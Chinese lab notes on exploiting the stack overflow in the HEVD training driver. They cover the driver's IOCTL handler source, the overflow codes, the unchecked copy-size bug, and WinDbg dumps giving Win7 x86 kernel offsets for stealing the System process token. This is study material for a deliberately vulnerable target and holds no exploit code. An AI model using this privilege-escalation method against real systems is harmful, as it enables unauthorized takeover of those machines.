[2] HEVD 学习笔记:栈溢出漏洞训练

2. HEVD 栈溢出漏洞训练

2.1 漏洞原理

​ 当函数退出的时候,会将保存在栈中的返回地址取出,跳转到该地址继续执行,以此来执行函数调用以后的程序。而如果用户的输入没有得到控制,覆盖掉了这个返回地址就会让函数退出的时候,执行我们指定的地址的代码。

2.2 漏洞分析

​ 若将该驱动当成没有源码的驱动来调试,可以用 IDA 逆向看 IOCTLCode,然后可以 Fuzz 一下来正常调试,联系这个驱动的话,可以直接看源码

2.2.1 IrpDeviceIoCtlHandler 函数源码

​ 在以下函数中找到栈溢出的 IOCTLCode:HEVD_IOCTL_BUFFER_OVERFLOW_STACK 和 HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS

NTSTATUS
IrpDeviceIoCtlHandler(
    _In_ PDEVICE_OBJECT DeviceObject,
    _Inout_ PIRP Irp
)
{
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;

    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();

    IrpSp = IoGetCurrentIrpStackLocation(Irp);

    if (IrpSp)
    {
        IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;

        switch (IoControlCode)
        {
        case HEVD_IOCTL_BUFFER_OVERFLOW_STACK:
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
            Status = BufferOverflowStackIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
            break;
        case HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS:
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
            Status = BufferOverflowStackGSIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
            break;
        case HEVD_IOCTL_ARBITRARY_WRITE:
            DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
            Status = ArbitraryWriteIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ARBITRARY_WRITE ******\n");
            break;
        case HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL ******\n");
            Status = BufferOverflowNonPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL ******\n");
            break;
        case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            Status = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            break;
        case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            Status = UseUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            break;
        case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            Status = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******\n");
            break;
        case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
            Status = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******\n");
            break;
        case HEVD_IOCTL_TYPE_CONFUSION:
            DbgPrint("****** HEVD_IOCTL_TYPE_CONFUSION ******\n");
            Status = TypeConfusionIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_TYPE_CONFUSION ******\n");
            break;
        case HEVD_IOCTL_INTEGER_OVERFLOW:
            DbgPrint("****** HEVD_IOCTL_INTEGER_OVERFLOW ******\n");
            Status = IntegerOverflowIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_INTEGER_OVERFLOW ******\n");
            break;
        case HEVD_IOCTL_NULL_POINTER_DEREFERENCE:
            DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
            Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");
            break;
        case HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK:
            DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******\n");
            Status = UninitializedMemoryStackIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******\n");
            break;
        case HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL ******\n");
            Status = UninitializedMemoryPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL ******\n");
            break;
        case HEVD_IOCTL_DOUBLE_FETCH:
            DbgPrint("****** HEVD_IOCTL_DOUBLE_FETCH ******\n");
            Status = DoubleFetchIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_DOUBLE_FETCH ******\n");
            break;
        case HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS:
            DbgPrint("****** HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS ******\n");
            Status = InsecureKernelFileAccessIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS ******\n");
            break;
        case HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL:
            DbgPrint("****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL ******\n");
            Status = MemoryDisclosureNonPagedPoolIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL ******\n");
            break;
        case HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION:
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION ******\n");
            Status = BufferOverflowPagedPoolSessionIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION ******\n");
            break;
        case HEVD_IOCTL_WRITE_NULL:
            DbgPrint("****** HEVD_IOCTL_WRITE_NULL ******\n");
            Status = WriteNULLIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_WRITE_NULL ******\n");
            break;
        case HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX:
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******\n");
            Status = BufferOverflowNonPagedPoolNxIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******\n");
            break;
        case HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX:
            DbgPrint("****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******\n");
            Status = MemoryDisclosureNonPagedPoolNxIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******\n");
            break;
        case HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX:
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
            Status = AllocateUaFObjectNonPagedPoolNxIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
            break;
        case HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX:
            DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
            Status = UseUaFObjectNonPagedPoolNxIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
            break;
        case HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX:
            DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
            Status = FreeUaFObjectNonPagedPoolNxIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX ******\n");
            break;
        case HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX:
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX ******\n");
            Status = AllocateFakeObjectNonPagedPoolNxIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX ******\n");
            break;
        case HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX:
            DbgPrint("****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
            Status = CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
            break;
        case HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX:
            DbgPrint("****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
            Status = SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
            break;
        case HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX:
            DbgPrint("****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
            Status = GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******\n");
            break;
        case HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX:
            DbgPrint("****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
            Status = DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******\n");
            break;
        case HEVD_IOCTL_ARBITRARY_INCREMENT:
            DbgPrint("****** HEVD_IOCTL_ARBITRARY_INCREMENT ******\n");
            Status = ArbitraryIncrementIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_ARBITRARY_INCREMENT ******\n");
            break;
        default:
            DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
            Status = STATUS_INVALID_DEVICE_REQUEST;
            break;
        }
    }

    //
    // Update the IoStatus information
    //

    Irp->IoStatus.Status = Status;
    Irp->IoStatus.Information = 0;

    //
    // Complete the request
    //

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Status;
}

2.2.2 获得栈溢出漏洞的 IOCTLCode

​ 根据 1.3 中的分析可以得知 IOCTL 是从 0x222003 开始,每次都要增加 4,最多可以增加 0x1B 次 ,所以:

HEVD_IOCTL_BUFFER_OVERFLOW_STACK 的 IOCTLCode 为:0x222003

HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS 的 IOCTLCode 为:0x222007

使用 IDA 打开 HEVD.sys 验证一下:

image-20221214173530411

​ 将这两个 IOCTLCode 解析一下:

image-20221214174116680

image-20221214174157156

解析工具Downloads:OSR Online IOCTL Decoder

​ 可以看到这些 IOCTLCode 的数据传送方式是不太安全的 METHOD_NEITHER

2.3 漏洞成因

  1. 查看驱动的源码中栈溢出函数这一部分:可以看到内部实际调用了 TriggerBufferOverflowStack 来触发栈溢出

    NTSTATUS
    BufferOverflowStackIoctlHandler(
        _In_ PIRP Irp,
        _In_ PIO_STACK_LOCATION IrpSp
    )
    {
        SIZE_T Size = 0;
        PVOID UserBuffer = NULL;
        NTSTATUS Status = STATUS_UNSUCCESSFUL;
    
        UNREFERENCED_PARAMETER(Irp);
        PAGED_CODE();
    
        UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
        Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
    
        if (UserBuffer)
        {
            Status = TriggerBufferOverflowStack(UserBuffer, Size);
        }
    
        return Status;
    }
    
    
  2. 进入 TriggerBufferOverflowStack 函数:可以看到漏洞原因很简单,就是安全版本的用了 sizeof 来计算用户传入的缓冲区本身的大小,而漏洞版直接使用用户传入的 Size 来决定拷贝的大小,如果用户传入的 Size 比实际的 UserBuffer 的大小大,则会造成栈溢出

    __declspec(safebuffers)
    NTSTATUS
    TriggerBufferOverflowStack(
        _In_ PVOID UserBuffer,
        _In_ SIZE_T Size
    )
    {
        NTSTATUS Status = STATUS_SUCCESS;
        ULONG KernelBuffer[BUFFER_SIZE] = { 0 };//这里的 BUFFER_SIZE 为 512,如果传入的 Size 大于 512,则会造成溢出
    
        PAGED_CODE();
    
        __try
        {
            //
            // Verify if the buffer resides in user mode
            //
    
            ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
    
            DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
            DbgPrint("[+] UserBuffer Size: 0x%zX\n", Size);
            DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
            DbgPrint("[+] KernelBuffer Size: 0x%zX\n", sizeof(KernelBuffer));
    
    #ifdef SECURE
            //
            // Secure Note: This is secure because the developer is passing a size
            // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
            // there will be no overflow
            //
    
            RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
    #else
            DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
    
            //
            // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
            // because the developer is passing the user supplied size directly to
            // RtlCopyMemory()/memcpy() without validating if the size is greater or
            // equal to the size of KernelBuffer
            //
    
            RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
    #endif
        }
        __except (EXCEPTION_EXECUTE_HANDLER)
        {
            Status = GetExceptionCode();
            DbgPrint("[-] Exception Code: 0x%X\n", Status);
        }
    
        return Status;
    }
    

2.4 漏洞利用

2.4.1 基础知识

​ 这部分参考:HEVD之栈溢出_FFE5的博客-CSDN博客

​ 对于系统进程而言,如 system.exe 或者 csrss.exe,当我们用自己的普通用户进程打开 OpenProcess 时,往往都会返回 0x5 的错误,即拒绝访问。那是因为普通进程的权限是比较低的,想要打开高权限程序必须具有高于或等于目标进程权限,才能对其进程操作。那么如何提升当前进程的权限呢,常用的一种做法是,通过 Token 令牌修改。即将目标进程的 Token 结构数据或指针替换成 System 进程等系统进程的 Token 结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。

​ 下面演示通过 winDbg 来找到令牌:

  1. 首先我们先切换到系统进程(一般来说不用切换,打开就是系统进程),输入命令 !thread ,可以查看当前线程的详细信息和堆栈,可以看到有 Attached Process 86adc798 Image: System,说明当前调试的是 System 进程。

    image-20221214224042431

  2. 然后定位到 System 进程的 EPROCES 结构地址,常见做法是通过 fs 寄存器,其指向当前活动线程的 TEB 结构(线程结构),在 Win7 x86 sp1 环境下,其偏移 0x124 为当前线程 KTHREAD 结构:

    0: kd> dd fs:[124]
    0030:00000124  83f7d380 00000000 83f7d380 00000100
    0030:00000134  9e0a0106 0001007f 00000000 00000000
    0030:00000144  00000000 00000000 00000000 00000000
    0030:00000154  00000000 00000000 00000000 00000000
    0030:00000164  00000000 00000000 00000000 00000000
    0030:00000174  00000000 00000000 00000000 00000000
    0030:00000184  00000000 00000000 00000000 00000000
    0030:00000194  00000000 00000000 83f0cae7 83e4ff64
    0: kd> dt _kthread 83f7d380
    ntdll!_KTHREAD
       +0x000 Header           : _DISPATCHER_HEADER
       +0x010 CycleTime        : 0x0000000f`973c0c80
       +0x018 HighCycleTime    : 0xf
       +0x020 QuantumTarget    : 0x00000004`000f7dcd
       +0x028 InitialStack     : 0x83f70ed0 Void
       +0x02c StackLimit       : 0x83f6e000 Void
       +0x030 KernelStack      : 0x83f70c1c Void
       +0x034 ThreadLock       : 0
       +0x038 WaitRegister     : _KWAIT_STATUS_REGISTER
       +0x039 Running          : 0x1 ''
       +0x03a Alerted          : [2]  ""
       +0x03c KernelStackResident : 0y1
       +0x03c ReadyTransition  : 0y0
       +0x03c ProcessReadyQueue : 0y0
       +0x03c WaitNext         : 0y0
       +0x03c SystemAffinityActive : 0y0
       +0x03c Alertable        : 0y0
       +0x03c GdiFlushActive   : 0y0
       +0x03c UserStackWalkActive : 0y0
       +0x03c ApcInterruptRequest : 0y0
       +0x03c ForceDeferSchedule : 0y0
       +0x03c QuantumEndMigrate : 0y0
       +0x03c UmsDirectedSwitchEnable : 0y0
       +0x03c TimerActive      : 0y0
       +0x03c SystemThread     : 0y1
       +0x03c Reserved         : 0y000000000000000000 (0)
       +0x03c MiscFlags        : 0n8193
       +0x040 ApcState         : _KAPC_STATE
       +0x040 ApcStateFill     : [23]  "???"
       +0x057 Priority         : 0 ''
       +0x058 NextProcessor    : 0
       +0x05c DeferredProcessor : 0
       +0x060 ApcQueueLock     : 0
       +0x064 ContextSwitches  : 0x80b9
       +0x068 State            : 0x2 ''
       +0x069 NpxState         : 0 ''
       +0x06a WaitIrql         : 0x2 ''
       +0x06b WaitMode         : 0 ''
       +0x06c WaitStatus       : 0n0
       +0x070 WaitBlockList    : (null) 
       +0x074 WaitListEntry    : _LIST_ENTRY [ 0x0 - 0x0 ]
       +0x074 SwapListEntry    : _SINGLE_LIST_ENTRY
       +0x07c Queue            : (null) 
       +0x080 WaitTime         : 0xda7
       +0x084 KernelApcDisable : 0n0
       +0x086 SpecialApcDisable : 0n0
       +0x084 CombinedApcDisable : 0
       +0x088 Teb              : (null) 
       +0x090 Timer            : _KTIMER
       +0x0b8 AutoAlignment    : 0y0
       +0x0b8 DisableBoost     : 0y0
       +0x0b8 EtwStackTraceApc1Inserted : 0y0
       +0x0b8 EtwStackTraceApc2Inserted : 0y0
       +0x0b8 CalloutActive    : 0y0
       +0x0b8 ApcQueueable     : 0y1
       +0x0b8 EnableStackSwap  : 0y1
       +0x0b8 GuiThread        : 0y0
       +0x0b8 UmsPerformingSyscall : 0y0
       +0x0b8 VdmSafe          : 0y0
       +0x0b8 UmsDispatched    : 0y0
       +0x0b8 ReservedFlags    : 0y000000000000000000000 (0)
       +0x0b8 ThreadFlags      : 0n96
       +0x0bc ServiceTable     : 0x83fb29c0 Void
       +0x0c0 WaitBlock        : [4] _KWAIT_BLOCK
       +0x120 QueueListEntry   : _LIST_ENTRY [ 0x0 - 0x0 ]
       +0x128 TrapFrame        : (null) 
       +0x12c FirstArgument    : (null) 
       +0x130 CallbackStack    : (null) 
       +0x130 CallbackDepth    : 0
       +0x134 ApcStateIndex    : 0x1 ''
       +0x135 BasePriority     : 0 ''
       +0x136 PriorityDecrement : 0 ''
       +0x136 ForegroundBoost  : 0y0000
       +0x136 UnusualBoost     : 0y0000
       +0x137 Preempted        : 0 ''
       +0x138 AdjustReason     : 0 ''
       +0x139 AdjustIncrement  : 0 ''
       +0x13a PreviousMode     : 0 ''
       +0x13b Saturation       : 0 ''
       +0x13c SystemCallNumber : 0
       +0x140 FreezeCount      : 0
       +0x144 UserAffinity     : _GROUP_AFFINITY
       +0x150 Process          : 0x83f7d640 _KPROCESS
       +0x154 Affinity         : _GROUP_AFFINITY
       +0x160 IdealProcessor   : 0
       +0x164 UserIdealProcessor : 0
       +0x168 ApcStatePointer  : [2] 0x83f7d4f0 _KAPC_STATE
       +0x170 SavedApcState    : _KAPC_STATE
       +0x170 SavedApcStateFill : [23]  "???"
       +0x187 WaitReason       : 0x19 ''
       +0x188 SuspendCount     : 0 ''
       +0x189 Spare1           : 0 ''
       +0x18a OtherPlatformFill : 0 ''
       +0x18c Win32Thread      : (null) 
       +0x190 StackBase        : 0x83f71000 Void
       +0x194 SuspendApc       : _KAPC
       +0x194 SuspendApcFill0  : [1]  "???"
       +0x195 ResourceIndex    : 0 ''
       +0x194 SuspendApcFill1  : [3]  "???"
       +0x197 QuantumReset     : 0x7f ''
       +0x194 SuspendApcFill2  : [4]  "???"
       +0x198 KernelTime       : 0x591
       +0x194 SuspendApcFill3  : [36]  "???"
       +0x1b8 WaitPrcb         : (null) 
       +0x194 SuspendApcFill4  : [40]  "???"
       +0x1bc LegoData         : (null) 
       +0x194 SuspendApcFill5  : [47]  "???"
       +0x1c3 LargeStack       : 0 ''
       +0x1c4 UserTime         : 0
       +0x1c8 SuspendSemaphore : _KSEMAPHORE
       +0x1c8 SuspendSemaphorefill : [20]  "???"
       +0x1dc SListFaultCount  : 0
       +0x1e0 ThreadListEntry  : _LIST_ENTRY [ 0x807cf9e0 - 0x83f7d66c ]
       +0x1e8 MutantListHead   : _LIST_ENTRY [ 0x83f7d568 - 0x83f7d568 ]
       +0x1f0 SListFaultAddress : (null) 
       +0x1f4 ThreadCounters   : (null) 
       +0x1f8 XStateSave       : (null) 
    
  3. _KTHREAD 结构的偏移 0x50 处为 _KPROCESS 结构,但是上面调试的时候确没看见偏移 0x50 的地方,那是因为偏移 0x40 处是个结构体,包含了偏移 0x50 处为 _KPROCESS 的结构,输入命令 dt _KAPC_STATE 83f7d380+40,可以看到 0x010 处就是 _KPROCESS。然而 _KPROCESS 为 _EPOCESS 结构的第一个字段,这样我们就定位到了_EPROCESS 结构。

    0: kd> dt _KAPC_STATE 83f7d380+40
    ntdll!_KAPC_STATE
       +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0x83f7d3c0 - 0x83f7d3c0 ]
       +0x010 Process          : 0x86adc798 _KPROCESS
       +0x014 KernelApcInProgress : 0 ''
       +0x015 KernelApcPending : 0 ''
       +0x016 UserApcPending   : 0 ''
    
  4. 通过找 _EPROCESS 中偏移 0xb8 处的进程双向链表,偏移 0xb4 处的进程标识符以及 System 进程的进程标识符 4 遍历链表匹配到 System 进程。在 EPROCESS 结构偏移 0xF8 处为 _EX_FAST_REF 结构,为 Token 成员域

    0: kd> dt _EPROCESS 0x86adc798
    ntdll!_EPROCESS
       +0x000 Pcb              : _KPROCESS
       +0x098 ProcessLock      : _EX_PUSH_LOCK
       +0x0a0 CreateTime       : _LARGE_INTEGER 0x01d90fc9`c2c595fc
       +0x0a8 ExitTime         : _LARGE_INTEGER 0x0
       +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
       +0x0b4 UniqueProcessId  : 0x00000004 Void
       +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x881f0970 - 0x83f8af18 ]
       +0x0c0 ProcessQuotaUsage : [2] 0
       +0x0c8 ProcessQuotaPeak : [2] 0
       +0x0d0 CommitCharge     : 0xb
       +0x0d4 QuotaBlock       : 0x83f7ecc0 _EPROCESS_QUOTA_BLOCK
       +0x0d8 CpuQuotaBlock    : (null) 
       +0x0dc PeakVirtualSize  : 0x791000
       +0x0e0 VirtualSize      : 0x210000
       +0x0e4 SessionProcessLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
       +0x0ec DebugPort        : (null) 
       +0x0f0 ExceptionPortData : (null) 
       +0x0f0 ExceptionPortValue : 0
       +0x0f0 ExceptionPortState : 0y000
       +0x0f4 ObjectTable      : 0x8da01b28 _HANDLE_TABLE
       +0x0f8 Token            : _EX_FAST_REF
       +0x0fc WorkingSetPage   : 0
       +0x100 AddressCreationLock : _EX_PUSH_LOCK
       +0x104 RotateInProgress : (null) 
       +0x108 ForkInProgress   : (null) 
       +0x10c HardwareTrigger  : 0
       +0x110 PhysicalVadRoot  : 0x86b372e8 _MM_AVL_TABLE
       +0x114 CloneRoot        : (null) 
       +0x118 NumberOfPrivatePages : 3
       +0x11c NumberOfLockedPages : 0x40
       +0x120 Win32Process     : (null) 
       +0x124 Job              : (null) 
       +0x128 SectionObject    : (null) 
       +0x12c SectionBaseAddress : (null) 
       +0x130 Cookie           : 0
       +0x134 Spare8           : 0
       +0x138 WorkingSetWatch  : (null) 
       +0x13c Win32WindowStation : (null) 
       +0x140 InheritedFromUniqueProcessId : (null) 
       +0x144 LdtInformation   : (null) 
       +0x148 VdmObjects       : (null) 
       +0x14c ConsoleHostProcess : 0
       +0x150 DeviceMap        : 0x8da088d8 Void
       +0x154 EtwDataSource    : (null) 
       +0x158 FreeTebHint      : 0x7ffe0000 Void
       +0x160 PageDirectoryPte : _HARDWARE_PTE_X86
       +0x160 Filler           : 0
       +0x168 Session          : (null) 
       +0x16c ImageFileName    : [15]  "System"
       +0x17b PriorityClass    : 0x2 ''
       +0x17c JobLinks         : _LIST_ENTRY [ 0x0 - 0x0 ]
       +0x184 LockedPagesList  : (null) 
       +0x188 ThreadListHead   : _LIST_ENTRY [ 0x86adc728 - 0x892f7288 ]
       +0x190 SecurityPort     : (null) 
       +0x194 PaeTop           : 0x83f8ffc0 Void
       +0x198 ActiveThreads    : 0x6f
       +0x19c ImagePathHash    : 0
       +0x1a0 DefaultHardErrorProcessing : 1
       +0x1a4 LastThreadExitStatus : 0n0
       +0x1a8 Peb              : (null) 
       +0x1ac PrefetchTrace    : _EX_FAST_REF
       +0x1b0 ReadOperationCount : _LARGE_INTEGER 0xe4
       +0x1b8 WriteOperationCount : _LARGE_INTEGER 0x8d
       +0x1c0 OtherOperationCount : _LARGE_INTEGER 0xd46
       +0x1c8 ReadTransferCount : _LARGE_INTEGER 0x5f47718
       +0x1d0 WriteTransferCount : _LARGE_INTEGER 0x75c7a8
       +0x1d8 OtherTransferCount : _LARGE_INTEGER 0x2c277
       +0x1e0 CommitChargeLimit : 0
       +0x1e4 CommitChargePeak : 0x2f
       +0x1e8 AweInfo          : (null) 
       +0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
       +0x1f0 Vm               : _MMSUPPORT
       +0x25c MmProcessLinks   : _LIST_ENTRY [ 0x881f0b14 - 0x83f7d89c ]
       +0x264 HighestUserAddress : (null) 
       +0x268 ModifiedPageCount : 0x1b3c
       +0x26c Flags2           : 0x2d800
       +0x26c JobNotReallyActive : 0y0
       +0x26c AccountingFolded : 0y0
       +0x26c NewProcessReported : 0y0
       +0x26c ExitProcessReported : 0y0
       +0x26c ReportCommitChanges : 0y0
       +0x26c LastReportMemory : 0y0
       +0x26c ReportPhysicalPageChanges : 0y0
       +0x26c HandleTableRundown : 0y0
       +0x26c NeedsHandleRundown : 0y0
       +0x26c RefTraceEnabled  : 0y0
       +0x26c NumaAware        : 0y0
       +0x26c ProtectedProcess : 0y1
       +0x26c DefaultPagePriority : 0y101
       +0x26c PrimaryTokenFrozen : 0y1
       +0x26c ProcessVerifierTarget : 0y0
       +0x26c StackRandomizationDisabled : 0y1
       +0x26c AffinityPermanent : 0y0
       +0x26c AffinityUpdateEnable : 0y0
       +0x26c PropagateNode    : 0y0
       +0x26c ExplicitAffinity : 0y0
       +0x270 Flags            : 0x14040800
       +0x270 CreateReported   : 0y0
       +0x270 NoDebugInherit   : 0y0
       +0x270 ProcessExiting   : 0y0
       +0x270 ProcessDelete    : 0y0
       +0x270 Wow64SplitPages  : 0y0
       +0x270 VmDeleted        : 0y0
       +0x270 OutswapEnabled   : 0y0
       +0x270 Outswapped       : 0y0
       +0x270 ForkFailed       : 0y0
       +0x270 Wow64VaSpace4Gb  : 0y0
       +0x270 AddressSpaceInitialized : 0y10
       +0x270 SetTimerResolution : 0y0
       +0x270 BreakOnTermination : 0y0
       +0x270 DeprioritizeViews : 0y0
       +0x270 WriteWatch       : 0y0
       +0x270 ProcessInSession : 0y0
       +0x270 OverrideAddressSpace : 0y0
       +0x270 HasAddressSpace  : 0y1
       +0x270 LaunchPrefetched : 0y0
       +0x270 InjectInpageErrors : 0y0
       +0x270 VmTopDown        : 0y0
       +0x270 ImageNotifyDone  : 0y0
       +0x270 PdeUpdateNeeded  : 0y0
       +0x270 VdmAllowed       : 0y0
       +0x270 CrossSessionCreate : 0y0
       +0x270 ProcessInserted  : 0y1
       +0x270 DefaultIoPriority : 0y010
       +0x270 ProcessSelfDelete : 0y0
       +0x270 SetTimerResolutionLink : 0y0
       +0x274 ExitStatus       : 0n259
       +0x278 VadRoot          : _MM_AVL_TABLE
       +0x298 AlpcContext      : _ALPC_PROCESS_CONTEXT
       +0x2a8 TimerResolutionLink : _LIST_ENTRY [ 0x0 - 0x0 ]
       +0x2b0 RequestedTimerResolution : 0
